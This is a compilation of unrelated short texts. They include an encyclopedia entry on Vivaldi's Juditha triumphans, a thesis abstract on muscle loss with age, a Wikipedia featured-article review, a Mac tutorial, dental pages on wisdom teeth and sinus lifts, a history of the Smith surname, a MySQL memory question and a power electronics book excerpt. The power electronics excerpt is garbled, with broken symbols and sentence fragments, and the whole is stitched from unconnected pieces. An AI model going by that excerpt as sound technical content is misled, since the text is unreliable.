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Juditha triumphans
Juditha triumphans devicta Holofernis barbarie (Latin: 'Judith triumphant over the barbarians of Holofernes'), RV 644, is an oratorio by Antonio Vivaldi. Although the rest of the oratorio survives completely intact, the overture has been lost. The Latin libretto was written by Iacopo Cassetti based upon the Book of Judith.
The exact date of composition and performance of Juditha triumphans are not known, but the allegorical treatment of the Venetian defense of Corfu dominated public discussion in Venice throughout 1716. This work was an allegorical description of the victory of the Venetians (the Christians) over the Turks in August 1716. The work was commissioned to celebrate the victory of the Republic of Venice over the Turks during the siege of Corfu: in July 1716, the Turks had landed on Corfu and set siege to the island. The population resisted the occupation and, in August, Venice signed an alliance with the Holy Roman Emperor. On 18 August, under the leadership of Count Johann Matthias von der Schulenburg, the decisive battle was won and the Turks abandoned the island.
Although widely reported to have been performed at the Ospedale della Pietà in November 1716, the victorious General Schulenburg could not have been in the audience of any performance prior to January 3, 1717.
Score
All characters, male and female, were interpreted by women of the Ospedale della Pietà. They are:
* Juditha, contralto, a young Bethulian widow
* Holofernes, contralto, Assyrian general
* Vagaus, soprano, eunuch, Holofernes's squire
* Abra, soprano, Juditha's handmaid
* Ozias, contralto, high priest of Bethulia
An all-female choir sings the parts of the Assyrian soldiers and of the Bethulian women. In the tradition of the Ospedale della Pietà, where some of the singers were trained to sing below the normal contralto range, the chorus is scored for SATB.
The string orchestra is augmented by timpani, 2 trumpets, mandolino, 4 theorbos, 5 "viole all'inglese" (viols), 1 viola d'amore, 2 recorders, 2 chalumeaux (soprano), "Clareni" (clarinet), 2 oboes, organ.
Plot
The Assyrian king Nebuchadnezzar sends an army against Israel to demand overdue tributes. Under the leadership of the general Holofernes, the Assyrians lay siege to the town of Bethulia and are about to conquer it. The young Jewish widow Judith goes to him to implore mercy. He falls in love with her and she indulges him. After a rich banquet and having drunk much wine, Holofernes falls asleep. Judith beheads him, flees the enemy camp, and returns victorious to Bethulia.
Recordings
* 1941: Elena Nicolai (J), Antenore Reali (H), Gino del Signore (V), Rina Corsi (A), Antonio Cassinelli (O); Orchestra dell'Accademia Musicale Chigiana / Unione Corale Senese e Piccolo Coro dell'Accademia di Santa Cecilia di Roma - Vittorio Baglioni (maestro del coro); Antonio Guarnieri (conductor) — Fonitcetra.
* 1951: Maria Amadini (J), Marcello Cortis (H), Emilio Cristinelli (V), Rosanna Giancola (A), Giuliano Ferrein (O); Chorus of the Teatro La Fenice, Venice / Symphony Orchestra of the Scuola Veneziana - Angelo Ephrikian — The Opera Society.
* 1964: Zsuzsa Barlay (J), Zsolt Bende (H), Jószef Réti (V), Margit László (A), Jószef Dene (O); Budapest Madrigal Choir (György Czigány) / Hungarian State Orchestra - Ferenc Szekeres — Hungaroton.
* 1968: Oralia Dominguez (J), Irene Compañez (H), Bianca Maria Casoni (V), Emilia Cundari (A), Maria Grazia Allegri (O); Chorus of the Accademia Filarmonica Romana (Luigi Colacicchi) / Angelicum Chamber Orchestra - Alberto Zedda — Angelicum.
* 1974: Birgit Finnilä (J), Julia Hamari (H), Elly Ameling (V), Ingeborg Springer (A), Annelies Burmeister (O); Rundfunks-Solistenvereinigung Berlin (Dietrich Knothe) / Berlin Chamber Orchestra - Vittorio Negri — Philips Classics.
* 1976: Verena Piller (J), Philippe Huttenlocher (H), Pierre-André Blaser (V), Kathrin Graf (A); Ensemble Alauda de Genève (Jean-Louis Rebut) / Collegium Academicum de Genève - Robert Dunand — Concert Hall.
* 1990: Gloria Banditelli (J), Judit Németh (H), Annette Markert (V), Maria Zádori (A), Katalin Gémes (O); Savaria Vocal Ensemble (István Deáky) / Capella Savaria - Nicholas McGegan — Hungaroton.
* 1997: Ann Murray (J), Susan Bickley (H), María Cristina Kiehr (V), Sarah Connolly (A), Jean Rigby (O); The Choir of the King's Consort / The King's Consort - Robert King — Hyperion.
* 2000: Magdalena Kožená (J), Maria José Trullu (H), Marina Comparato (V), Anke Herrmann (A), Tiziana Carraro (O); Coro da Camera dell'Accademia Nazionale di Santa Cecilia (Martino Faggiani) / Montis Regalis Academy - Alessandro de Marchi — Opus 111 / Naive.
* 2000: Barbara di Castri (J), Lucia Sciannimanico (H), Nicki Kennedy (V), Alessandra Rossi (A), Rowena Anketell (O); Coro da Camera Italiano, Roma / Modo Antiquo - Federico Maria Sardelli — Amadeus.
* 2001: Delores Ziegler (J), Gloria Banditelli (H), Cecilia Gasdia (V), Manuela Custer (A), Laura Brioli (O); Coro Filarmonico Antonio Vivaldi (Giampaolo Grazioli)/I Solisti Veneti; Claudio Scimone — Warner Fonit.
* 2007: Sara Mingardo (J), Guillemette Laurens (H), Roberta Invernizzi (V), Manuela Custer (A), Tiziana Pizzi (O); Coro della Radio Svizzera / I Barocchisti - Diego Fasolis — RTSI Multimedia.
* 2007: Sally-Anne Russell (J), David Walker (H), Fiona Campbell (V), Sara Macliver (A), Renée Martin (O); Cantillation / Orchestra of the Antipodes - Attilio Cremonesi — ABC Classics.
* 2019: Marianne Beate Kielland (J), Marina de Liso (H), Rachel Redmond (V), Lucía Martín-Cartón (A), Kristin Mulders (O); La Capella Reial de Catalunya / Le Concert des Nations - Jordi Savall — Alia Vox. | WIKI |
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Title: Age related changes in skeletal muscle mass and function
Author: Maden-Wilkinson, Thomas M.
Awarding Body: Manchester Metropolitan University
Current Institution: Manchester Metropolitan University
Date of Award: 2013
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The loss of muscle mass with age (Sarcopenia) has received growing attention over the past decade. Despite efforts to provide a universal definition with clinically meaningful cut-off points for diagnosis, there is no clear consensus on how to best quantify and assess the impact of loss of muscle mass and function on functional limitations. Whilst most previous studies have used dual energy x-ray absorptiometry (DXA) to quantify this loss, chapter 2 of this thesis shows that DXA underestimates the loss of muscle mass with age in comparison to the gold standard MRI. Muscle mass per se is not enough to determine whether a person has an exceptionally low muscle mass, as it can be readily seen that a healthy tall person will have a larger muscle mass than a small person. Clinicians and researchers thus need an index of muscle mass that takes differences in stature into account and also gives an objective cut off point to define low muscle mass. In Chapter3, we show that femur volume does not significantly differ between young and old. We used this observation to introduce a new index: thigh muscle mass normalised to femur volume, or the muscle to bone ratio. This index allows the examination of the true extent of muscle atrophy within an individual. In previous studies the appendicular lean mass (determined with DXA) divided by height squared appeared to be a relatively poor predictor of functional performance. In Chapter 4, the index introduced in Chapter 3, the muscle to bone ratio, proved to be a somewhat better predictor of functional performance in the overall cohort. This was, however, not true when examining the intra-group relationships. A similar situation applied to the maximal muscle strength. In older adults, the parameter which predicted functional performance best was muscle power per body mass, measured during a counter-movement jump. Chapter 5 shows that part of the larger loss power and force than muscle mass is attributable to a left-ward shift of the torque-frequency relationship, indicative of a slowing of the muscle, and reduction in maximal voluntary activation, as assessed using the interpolated twitch technique in older adults. Chapter 5 also shows that the fatigue resistance during a series of intermittent contractions was similar in young and older adults. However, older adults could sustain a 50% maximal voluntary contraction force longer than young people. Part of this discrepancy maybe due to an age-related slowing of the muscle.
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Qualification Name: Thesis (Ph.D.) Qualification Level: Doctoral
EThOS ID: uk.bl.ethos.594478 DOI: Not available
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Wikipedia:Featured article candidates/Mereka Bilang, Saya Monyet!/archive1
* The following is an archived discussion of a featured article nomination. Please do not modify it. Subsequent comments should be made on the article's talk page or in Wikipedia talk:Featured article candidates. No further edits should be made to this page.
The article was promoted by GrahamColm 08:02, 6 October 2012.
Mereka Bilang, Saya Monyet!
* Nominator(s): — Crisco 1492 (talk) 00:34, 25 September 2012 (UTC)
I am nominating this for featured article because I believe it is a good overview of a fairly minor, but somewhat impressive, Indonesian film. The plot and themes are not for the squeamish, and this was one of my more controversial DYKs way back when. — Crisco 1492 (talk) 00:34, 25 September 2012 (UTC)
Addressed comments from TBrandley moved to talk
* Support looks solid, as always. TBrandley 23:03, 25 September 2012 (UTC)
* Thanks for the review! — Crisco 1492 (talk) 23:09, 25 September 2012 (UTC)
* Support. I reviewed this one earlier today at Crisco's behest and his subsequent additions also look good to me. Would have offered an image review but when I sat down to do it I realised there was only one image to review; File:Mereka Bilang Saya Monyet.jpg; whose rationale is perfectly solid. GRAPPLE X 01:07, 25 September 2012 (UTC)
* Thanks for the review! — Crisco 1492 (talk) 03:34, 25 September 2012 (UTC)
* Alright, I'll review this too. Here's some comments on the lead and first section. I made some copyedits, hopefully all are fine with you. I added the word "murder", hopefully that won't be controversial :)
* "the first digital feature film produced in the country" Consider trying to make this more prominent in the lead.
* Sources didn't emphasise it too much. Plot, year, and cast/crew come first for sure though. — Crisco 1492 (talk) 22:59, 25 September 2012 (UTC)
* Ok, no problem then. Mark Arsten (talk) 18:43, 28 September 2012 (UTC)
* "Adjeng (Titi Sjuman), a writer, lives alone in an apartment" I'd go with "paid for by..." to finish the sentence.
* Done
* "Adjeng (Titi Sjuman), a writer, lives alone in an apartment that her boyfriend, a rich businessman (Joko Anwar), pays for. A writer of children's stories," You don't need to state her occupation twice, maybe cut out the first one.
* Done
* "she recalls being forced to eat vegetables she had vomited as a child" I'm a little unclear here, was she forced to eat vegetables as a child or an adult?
* How's this?
* Still a little unclear to me. Mark Arsten (talk) 18:43, 28 September 2012 (UTC)
* Added "previously" — Crisco 1492 (talk) 23:08, 28 September 2012 (UTC)
* "Adjeng peeks and recalls how she had observed her mother having sex with her lover (Bucek Depp), a man who had previously molested her." I'm being picky, but I'm not sure that it's clear who the last "her" refers to. Mark Arsten (talk) 19:04, 25 September 2012 (UTC)
* How's this? — Crisco 1492 (talk) 22:59, 25 September 2012 (UTC)
* That's fine. Mark Arsten (talk) 18:43, 28 September 2012 (UTC)
* Here are the rest of my comments, as usual, sorry for the glacial pace.
* "She asked Indra Herlambang, a writer-cum-television personality,[6] to help her write the screenplay as she "never could write stories with a plot"[a][7] and she needed him to keep her motivated." Should there be a comma before "and she..."?
* Sounds okay, as they aren't inherently related. — Crisco 1492 (talk) 23:08, 28 September 2012 (UTC)
* "The film was originally meant to be based on the titular short story "Mereka Bilang, Saya Monyet!" from Djenar Maesa Ayu's 2002 debut, a critically and commercially successful short story anthology of the same name.[2][3] However, this was later replaced by "Lintah"" I don't think it's quite clear what "this" refers to in the second sentence.
* How's this? — Crisco 1492 (talk) 23:08, 28 September 2012 (UTC)
* "In order to direct the film, in 2004 Ayu began taking filmmaking classes to prepare herself." How about "In 2004 Ayu began taking filmmaking classes to prepare herself to direct the film."?
* Sounds good. — Crisco 1492 (talk) 23:08, 28 September 2012 (UTC)
* "Mereka Bilang, Saya Monyet! deals with the aftereffects of child molestation, in a way that the Indonesian magazine Tempo describes as an "interesting time control experiment"" I'm not sure you need the comma here.
* Agree. — Crisco 1492 (talk) 23:08, 28 September 2012 (UTC)
* "which results in Adjeng's promiscuity – an act which is common in the Sastra Wangi literary movement of which Ayu is considered a part." How about taking out one "which": "which results in Adjeng's promiscuity – a common act in the Sastra Wangi literary movement of which Ayu is considered a part." Mark Arsten (talk) 18:43, 28 September 2012 (UTC)
* Agree. Done — Crisco 1492 (talk) 23:08, 28 September 2012 (UTC)
* Support Another well written film article, not much I can point out. It manages to be neutral, yet provokes interest. As usual, no comment on sourcing though. Mark Arsten (talk) 02:08, 29 September 2012 (UTC)
* Thanks for the review! — Crisco 1492 (talk) 02:15, 29 September 2012 (UTC)
A nicely rounded article. Support on reviewing the prose. Some minor comments:
* are worked into a short story with the title "Lintah"; my first reading of this is that "Lintah" was a short story within this film (i.e. a cut story). So it took me a second to wrap my head around the reference to it being published in the next paragraph. Maybe emphasise that Adjeng is writing Lintah.
* Clarified (and shortened somewhat...
* A writer of children's stories, she is mentored by Asmoro (Ray Sahetapy) [...] but wishes to write short stories for adults; something here doesn't quite scan (I removed part of the sentence to demonstrate the incongruity as it appears to me). These are two matters, so maybe needs two sentences?
* How's this? — Crisco 1492 (talk) 22:51, 4 October 2012 (UTC)
* Asmoro sees the businessman; maybe remind the reader that the businessman is her boyfriend.
* Done. — Crisco 1492 (talk) 22:51, 4 October 2012 (UTC)
* and her mother's murder of the perpetrator; this threw me a little... is she recalling this for the first time? What about the molestation (which it is implied she recalls earlier)?
* First time in the film, not known if its the first time she's thought of it. We're shown him getting into the bathtub with her before, but not the aftermath (i.e. the pool of water and leeches with blood flowing is only shown once)
* cajoling; seems colloquial. Perhaps rephrase, and merge in the next (very short) sentence.
* How's this? I reworked it a bit.
* The film does not show Adjeng's molestation; might be worth mentioning this in the plot?
* How's this? I reworked it a bit.
Otherwise all good! --Errant (chat!) 18:04, 4 October 2012 (UTC)
* Thanks for the review! — Crisco 1492 (talk) 22:51, 4 October 2012 (UTC)
* Yep, looks fine. Good luck with this nom :) --Errant (chat!) 09:10, 5 October 2012 (UTC)
* Thanks! — Crisco 1492 (talk) 09:15, 5 October 2012 (UTC)
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5/4/09
9:34 am
MacMost Now 236: Reintsalling Lost Applications
Find out how to replace applications that you may have accidentally deleted from your Mac.
Video Transcript
Gary Rosenzweig: Hi! This is Gary with MacMost Now. On today's episode, let's look at how to recover an application you've accidentally deleted. OK. So suppose you accidentally delete some applications from your Mac. How do you get them back? Well, there are several different ways, and it depends on where you got the application from.
The first thing you want to do, though, is check to see if you really deleted the application. For instance, a lot of Mac users think they deleted the application by simply removing it from the dock. You can simply add an application back to the dock by looking in your applications folder or in some cases your applications utility folder, and dragging the application into the dock, which will put an alias there.
Now if the application really is missing from the applications folder or wherever it's supposed to be, then you need to reinstall it. If it's a third party application, what you want to do is find the install disk that you got when you purchased the application. Now if you downloaded the software, you may have gotten an install package, which hopefully you did not throw away.
If you did, you can log back onto that vendor's website and usually find a way to redownload the installer if you already purchased the application. The registration code that you got with a downloadable piece of software will still work even when you reinstall the software. If you're still having trouble, contact that vendor directly. Usually they have some support information at their site. Explain what happened, and ask them how you can get the application back on your machine.
But how about Apple applications? Well, if it's truly missing, what you need to do is you need to find the disks that came with your Mac. Hopefully, you still have them. It's vitally important that you keep those safe somewhere where you can find them easily.
After you enter the DVD, you'll see the large icon that allows you to start your reinstall of Mac OS X. Don't go there quite yet. But instead, look for the folder called Optional Installs. When you go in there and you run the program that you find inside there, you'll see that you have a chance to reinstall one of many different applications that comes with your Mac.
You can deselect everything else in just that one application to get a reinstall of just that one thing. Now if the application isn't listed there, then you may need to do a full reinstall of Mac OS X. Now this will just restore the Mac OS X that's on your machine. It won't actually delete the documents that you have there, though it's always a good idea to do a backup before doing one of these restores or reinstalls.
Another thing to consider is if you're using Time Machine to back up your entire drive, then you have a backup of the application you deleted. You need to go back in time far enough to when the application was there and drag it from the applications folder in your Time Machine backup to your applications folder on your current machine.
If you don't have a Time Machine backup, and you can't find your original installation disks, then you might be in a little bit of trouble. One thing you can do is call Apple or stop by an Apple store and see if they'll help you. If you registered your Mac like you should when you buy it, then there's reports that sometimes they supply you with new disks for a little bit of a fee. Other times, though, I've heard that you don't get anything from Apple.
One option is to buy a new version of the OS. So go out and buy Mac OS X for a little over $100 at Amazon or an Apple store, and reinstall your OS from there. You may not get your iLike applications back that way, but you can get a lot of the basic applications like iCal and mail in such back with a fresh install like that. So hopefully that helps you out if you've actually deleted an application. 'Til next time, this is Gary Rosenzweig with MacMost Now.
Also see episode 455 for an up-to-date version of this tutorial focusing on reinstalling essential Mac applications that you may have accidentally deleted.
Comments: 5 Responses to “MacMost Now 236: Reintsalling Lost Applications”
elaina
3/21/11 @ 2:37 pm
Hello, I downloaded Ice clean to clean up some folders and junk on my Mac, and somehow I deleted all my desktop icons, bookmarks and other apps like my lightroom. Can you tell me how I can find out if any of this is reversible?
Thanks,
Elaina
3/21/11 @ 2:55 pm
You may want to call their support and ask them. I don’t know what that program really did.
But if it is just shortcuts that have been deleted, you can always re-create them one-by-one.
Jhon
1/26/12 @ 6:33 pm
Some of the applications i had, for example microsoft office got deleted in every user exept on the admin, some applications as migration assistance some how was deleted
Teresa Giambrone
3/26/12 @ 9:16 am
I had an icon in my dock that when I clicked on it I could do an envelope, or a letter… it’s gone. I don’t know what happened to it; Can you help e get it back?
I don’t remember what it’s called.
3/26/12 @ 9:19 am
Are you talking about Mail, the Mac email program?
For any application that you want to add to your Dock, just go to the Applications folder on your drive. Find that application. And then drag it to the Dock to create a shortcut for it there.
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The Hidden Cause of Chaos in Your Mouth
Wisdom teeth used to be really helpful. When our ancestors ate rough food that wore down their teeth faster they needed that extra set of molars as replacements.
But with modern oral hygiene (You are getting regular check-ups, right?) and softer diets we’re able to keep our teeth longer. Which means we don’t need those extra teeth. And yet most of us still get them. And this is why chaos begins; 32 teeth don’t fit in a space meant for 28.
Occasionally there is room for those extra teeth and they are able to erupt into the proper position. But, since they are the furthest back in your mouth they are also the most difficult to properly clean, resulting in more cavities.
If there isn’t enough room for them though they will remain trapped in your jawbone. This usually results in your teeth becoming impacted as the wisdom teeth strive to find a way out. Whether your wisdom teeth are partially erupted or fully hidden they can cause a variety of problems for you. The gums around the wisdom teeth are still susceptible to infections and the space around those hidden teeth are especially vulnerable. The pressure from teeth trying to erupt can cause pain in your jaw and the constant force can cause the destruction of neighboring teeth.
Some symptoms of Impacted Wisdom Teeth are
• Jaw pain – Pain in the back of your jaw, or headaches that stem from the area where your jaw meets your skull are the most common indicator.
• Difficulty opening your mouth – those extra teeth crowding the space make it hard for the joints to move easily.
• Pain while chewing – if the gums in the back of your mouth are more sensitive it could be because your wisdom teeth are coming in.
• Bad taste or bad breath – That funk could be caused by an infection or developing cyst.
• Sore or bleeding gums – tender, swollen, or bleeding gums are all signs of gum disease. It can also be cause by the added pressure of the impacted teeth on your gums. If this is occurring where your wisdom teeth would be it might be time to have them removed.
• Changes in your mouth – if your jaw looks swollen and is tender to touch or you feel your teeth being pushed closer together it’s time to call your dentist.
• Swollen glands – if your lymph glands are swollen but you can’t find another source of infection then there might be one hidden in your jaw.
• No Wisdom Teeth appearing – Patients are typically between 16 and 26 when their wisdom teeth erupt. If this hasn’t happened it could be because they’re impacted. It’s important to see your dentist to verify if they’re there or you got lucky and didn’t get any at all.
If you’re experiencing any of these symptoms and you haven’t had you Wisdom Teeth make an appointment to see your dentist as soon as possible. If those extra teeth are causing you problems then the sooner we catch it, the easier it is to resolve. | ESSENTIALAI-STEM |
By Anne Gibson
There are several reasons why Smith is such a numerous and widespread surname, leaving behind in frequency other surnames such as Jones and Brown. It is one of the oldest Anglo-Saxon names, so Smiths have been around longer, multiplying with each generation. Over one thousand years ago an unidentified Anglo-Saxon used the old English word Smith to describe his occupation as a worker in iron, then over time a ‘smith’ became known as a worker in metals. The Smiths (blacksmiths) were, by necessity, a strong vigorous race and an integral part of their communities, so would have had the means available to survive and reproduce further generations.
To distinguish between a worker with iron and a worker with tin the terms blacksmith and whitesmith came into use. Later in the Middle Ages with increasing population came further specialisation and new crafts that created new descriptions and hence surnames. Brownsmith (worker in brass): Greensmith (worker in copper): Goldsmith (worker in gold and silver): Naismith (knife maker), Arrowsmith (maker of iron-tipped arrows): Sixsmith (sickle and scythe maker) and Shoesmith (maker of horseshoes).
There were twenty-one persons named Smith who arrived at New South Wales in 1788 with the First Fleet. These were made up of sixteen convicts, both women and men, two were crew members, two were marines, and the other was James Smith, perhaps a stow-away. Surgeon Bowes recorded the Governor sent for Mr J Smith in our Ship, and told him that though he knew nothing of his being in the fleet till he arrived at the Cape of Good Hope, he would allow him, on the recommendation of several officers to go on shore on Monday, by wh. time there should be a Tent erected for him, a piece of ground shd be allotted to him for a garden, he wd. Be suppy’d with every necessary sort of seeds, he was to officiate as headborough (petty constable) and the chief duty he wd. Have to do at present wd. be to superintend the Convicts who were at work. In February 1789 James Smith was appointed to assist the commissary at Rose Hill and sworn in as peace officer. His knowledge of agriculture proved to be inadequate and his advancing age and infirmity led to dismissal, he returned to England by Gorgon leaving 18 December 1791 from Port Jackson.
Of those with the surname Smith on the First Fleet, four had the given name Ann. One Ann Smith, born c 1756 was charged at the Old Bailey on 30 August 1786 with theft of a pewter pint pot and embarked on Lady Penrhyn to sail on the First Fleet. Surgeon Bowes recorded her as a nurse but said she always behaved amiss. At Port Jackson she refused to wear the slop clothing provided by the commissary. On the voyage she had said many times that she would abscond as soon as she could after landing, which she did on 14th February and was not seen again.
On 7 June 1788, Captain David Collins sat as magistrate. A female convict, Ann Smith, was charged by Mr Smith, the constable, with insolence and abuse to him while in the execution of his office. He said that on Wednesday night he told Ann Smith to put her fire out. She replied that she would do so if he would go the Governor and get her a pair of shoes. She said that he was a very busy person, and that, though on the ship she took him for a gentleman, she now found quite the contrary. The prisoner begged Mr Smiths’ pardon, and said she would not have spoken to him in that fashion and she not known him on the ship, and thought she might take such a liberty. She was found guilty and sentenced to be flogged, but the sentence was remitted by Governor Phillip.
Another Ann Smith ‘wife of John Smith’ was sentenced to transportation at Winchester, Hants and embarked on Charlotte. On 4 March 1790 she was sent to Norfolk Island on Sirius and returned to Port Jackson on Kitty three years later. She appears in later records married to one of the six William Smiths who arrived on the First Fleet. This William was sentenced at Dorchester, Dorset and embarked on the Charlotte also. William Smith received a land grant on the Hawkesbury and he and Ann were recorded as living there off stores by 1802. In his 1820 Will he left a 250 acre farm at Seven Hills called Ann’s Place to his wife Ann, which would then pass to Ann’s son Thomas Burn Smith.
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The Triumph of Smith by Kenneth Allan, Descent Vol.23 No.3, September 1993
The Founders of Australia by Mollie Gillen
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Usage of AP-Move command in 8.x code
By esupport posted Feb 21, 2017 08:32 AM
Requirement:
•In some application scenarios, customer wants to move some specific APs to other another controller.
•Currently the function can only be done by configuring LMS or AP failover.
•In case customers are reluctant to make any configuration changes, they can make use of AP-move feature.
Solution:
AP-move command can be used in moving an AP from one controller to another without making any configuration changes.
When AP-move is executed on the cluster leader, sapm will send a message to CM to reassign new S-AAC.
Case 1: For redundancy, CM leader will assign new S-AAC with flag S-AAC-assign-by-apmove.
Case 2: For non-redundancy case, CM leader will temporarily enable AP redundancy and assign a new S-AAC to AP with flag S-AAC-assign-by-apmove
Configuration:
We can use the following syntax to execute AP move command:
•apmove <ap-mac> <target-ip>
•apmove <ap-group> <source-ip> <target-ip>
•apmove all <source-ip> <target-ip>
Verification
•APMOVE can only be executed on cluster LC leader.
•AP-Move command will not de-authenticate the clients.
•AP will rebootstrap with APMOVE to non S-AAC.
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Apr 28, 2020 05:26 AM
Do we have a similar command to move clients?
Situation: we have an issue that sometimes after upgrades of controllers, the nginx service did not start and we can't get it started without a reboot of the controller.
Now my end-customer was moving his AP to another controller since he thought that his client would also move, but since he is in clustering, his client was still falling on the controller with the issue and due to this he thought all controllers had the issue. If he can move his client to another controller he could test with his own client the behavior on other controllers... | ESSENTIALAI-STEM |
Tommy Sjödin
Tommy Sören Sjödin (born August 13, 1965) is a Swedish former professional ice hockey defenceman, who played 106 NHL games during two seasons, five years for clubs in the Swiss Nationalliga A and fifteen seasons with Brynäs IF in the Swedish Elitserien.
Playing career
Sjödin played in the Swedish Elitserien with Brynäs IF from 1986 to 1992, winning the Golden Puck as Sweden's top player in 1991-92. He went on to play in the National Hockey League for the Minnesota North Stars, Dallas Stars, and Quebec Nordiques between 1992 and 1994. He played in Switzerland with HC Lugano from 1994 to 1998, except for a brief period with HC Bolzano in Italy in 1996-97.
Before Sjödin returned to the Swedish Elite League, he played one season with Kloten. He then rejoined his former team, Brynäs IF, which was to become his last.
February 3, 2007, in an away game against Frölunda, putting Brynäs up 2-1 he became the oldest player ever to score a goal in Elitserien; at the age of 41 years, 5 months and 21 days, breaking Börje Salming's record from 1992.
Sjödin played for the Swedish national team in four IIHF World Championships from 1992 to 1996, and was on the 1992 Olympic team. | WIKI |
Impaired myelin ultrastructure is reversed by citalopram treatment in a mouse model for major depressive disorder
J Psychiatr Res. 2023 Oct:166:100-114. doi: 10.1016/j.jpsychires.2023.09.012. Epub 2023 Sep 16.
Abstract
Major depressive disorder (MDD) is the most common and widespread mental disorder. Selective serotonin reuptake inhibitors (SSRIs) are the first-line treatment for MDD. The relation between the inhibition of serotonin reuptake in the central nervous system and remission from MDD remains controversial, as reuptake inhibition occurs rapidly, but remission from MDD takes weeks to months. Myelination-related deficits and white matter abnormalities were shown to be involved in psychiatric disorders such as MDD. This may explain the delay in remission following SSRI administration. The raphe nuclei (RN), located in the brain stem, consist of clusters of serotonergic (5-HT) neurons that project to almost all regions of the brain. Thus, the RN are an intriguing area for research of the potential effect of SSRI on myelination, and their involvement in MDD. MicroRNAs (miRNAs) regulate many biological features that might be altered by antidepressants. Two cohorts of chronic unpredictable stress (CUS) mouse model for depression underwent behavioral tests for evaluating stress, anxiety, and depression levels. Following application of the CUS protocol and treatment with the SSRI, citalopram, 48 mice of the second cohort were tested via magnetic resonance imaging and diffusion tensor imaging for differences in brain white matter tracts. RN and superior colliculus were excised from both cohorts and measured for changes in miRNAs, mRNA, and protein levels of candidate genes. Using MRI-DTI scans we found lower fractional anisotropy and axial diffusivity in brains of stressed mice. Moreover, both miR-30b-5p and miR-101a-3p were found to be downregulated in the RN following CUS, and upregulated following CUS and citalopram treatment. The direct binding of these miRNAs to Qki, and the subsequent effects on mRNA and protein levels of myelin basic protein (Mbp), indicated involvement of these miRNAs in myelination ultrastructure processes in the RN, in response to CUS followed by SSRI treatment. We suggest that SSRIs are implicated in repairing myelin deficits resulting from chronic stress that leads to depression.
Keywords: Chronic unpredictable stress; Major depression disorder; Myelin; SSRI; microRNA. | ESSENTIALAI-STEM |
Keradere noctivaga
Keradere noctivaga is a species of snout moth. It is found on Cyprus and in Asia Minor.
The wingspan is 16–19 mm. | WIKI |
Sinus Lift Procedure
Sinus Lift
If you are living with missing teeth, you aren’t alone. Although most adults between the ages of 20-34 have an average of 27 of their natural teeth left, this number plummets to 22 by the time adults reach the age of 50. In addition to making you self-conscious about your smile, missing teeth can also make it hard to talk properly and chew. Fortunately, implant dentistry in Pittsburgh, PA can help you to restore your smile to its original beauty.
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The Challenge of Upper Back Dental Implants
One of the most challenging places in the mouth to place dental implants is the upper back jaw because of the presence of your maxillary sinus. Sinuses, which are essentially hollow areas inside of your skull, interfere with dental implant placement because they can affect the depth and strength of the surrounding bone tissue. Traditionally, teeth in the upper back jaw have dental roots that extend into the sinus, but if these teeth fall out, the bone around them can resorb, leaving little to no bone to anchor dental implants. The goal of sinus lift surgery is to bolster the strength of the bone near the maxillary sinuses to create a strong, stable structure for implants.
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To determine whether or not sinus lift surgery is necessary, Dr. Silberg will take a series of X-rays to measure the bone surrounding your missing teeth. Before your sinus lift, your gums and jaw tissue will be numbed with a local anesthetic. Next, Dr. Silberg makes a small incision where the upper teeth used to be, through which the sinus membrane is lifted upwards from the floor of the sinus. Bioactive gels and ground bone grafting materials are placed into the empty space, and over the next several months, your body will replace these materials with strong natural bone tissue. After the graft is in place, the gum tissue is closed, and the area can start healing.
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Sinus lifts allow patients with deteriorated upper jaws, small jaws, or large sinuses to be eligible for dental implants. Sinus lifts can help patients with extensive previous bone loss caused by periodontal disease, cancer treatment, or trauma. Recovery from sinus lift surgery is straightforward, and typically involves a minimal amount of discomfort. Your Pittsburgh periodontist will monitor your condition carefully to make sure that you are healing well throughout your recovery.
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Advanced Power Electronics Converters: PWM Converters by Euzeli dos Santos, Edison R. da Silva
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19(e)—provides a good understanding of the topology itself, the frequency domain with the Fourier series allows identification of the frequency components. 3) In the case of Fig. 4) where Ton is the interval of time with the switch S1 on, Ts is the switching period (Ton + Toff ), and d is known as duty cycle. 4). 4) without the expansion in Fourier series. , iL is always higher than zero). As the inductor is a passive component, the average power on this device is zero, leading to an average voltage also equal to zero.
D????∕dt. It is the maximum variation rate of the forward voltage that can be applied to the device in the blocking state without starting a nonprogrammed turn-on. iv. di∕dt. It is the maximum variation rate of the forward current during turn-on that can be applied to the device; higher di∕dt than the one specified by the manufacturer may destroy the component. (d) The maximum switching frequency depends on the recovery time of the device. (e) Power Losses. There are three main components of losses in a semiconductor device: (i) switching losses (turn-on and turn-off), (ii) conduction losses, and (iii) reverse conduction losses.
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I am running a VPS with 1024 mb ram that is hosting a single WordPress site. Lately I have been having a lot of database problems where WordPress is giving me "Error establishing a database connection". I can make the server crash just by crawling it with Screaming Frog SEO tool.
Sometimes the issue resolves itself, sometimes I need to manually restart MySQL, and other times I have to completely reboot the server.
I thought the error was related to MySQL itself, but after examining the various logs, it seems like my server is running out of memory and therefore simply killing MySQL.
Using MySqltuner, I am getting the following results:
[--] Physical Memory : 992.6M
[--] Max MySQL memory : 804.0M
[--] Other process memory: 306.2M
[--] Total buffers: 225.0M global + 1.1M per thread (151 max threads)
[--] P_S Max memory usage: 409M
[--] Galera GCache Max memory usage: 0B
[OK] Maximum reached memory usage: 643.1M (64.79% of installed RAM)
[OK] Maximum possible memory usage: 804.0M (80.99% of installed RAM)
[!!] Overall possible memory usage with other process exceeded memory
Settings in my.cnf:
[mysqld]
max_allowed_packet=268435456
open_files_limit=10000
innodb_buffer_pool_size = 128M
innodb_log_file_size = 128M
key_buffer_size = 64M
innodb_file_per_table
slow_query_log=1
slow_query_log_file="/var/log/slowqueries"
long_query_time = 3
general_log=1
general_log_file="/var/lib/mysql/generalqueries"
Would really appreciate some suggestions as how to proceed from here to figure out what is consuming my memory and causing the issues.
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Kinda off-topic, as it's more a sysadmin question. Your PHP/Apache/nginx/whatever processes aren't going to be left with much to play with. 1Gb of RAM doesn't go far these days. – Philᵀᴹ Apr 21 '17 at 7:58
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1GB is "tiny" today.
Swapping is terrible for MySQL performance, so it is important not to tune things too big.
max_allowed_packet -- dangerously high, change to 30M; if you really need more than that, then either get more RAM, or we can dig deeper to find some other solution.
Change max_connections to, say, 40.
Change open_files_limit to, say, 1000.
Can you ferret out the specific error when "establishing a database connection"? That might help, too.
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Vuneny
Vuneny are an experimental band, formed in 2003 as "electro-acoustic" project. Continuously experimenting with the sound, Vuneny perform and implement music collaborating with different artists and music forms, metamorphosing itself into dynamic "work in progress" constantly upgrade and disperse.
Discography
* Play that Silence – Buybook (BiH), 2004, Zvuk Mochvare (HR), 2004
* V2 – Moonlee Records (SLO, HR), Buybook (BiH), 2006
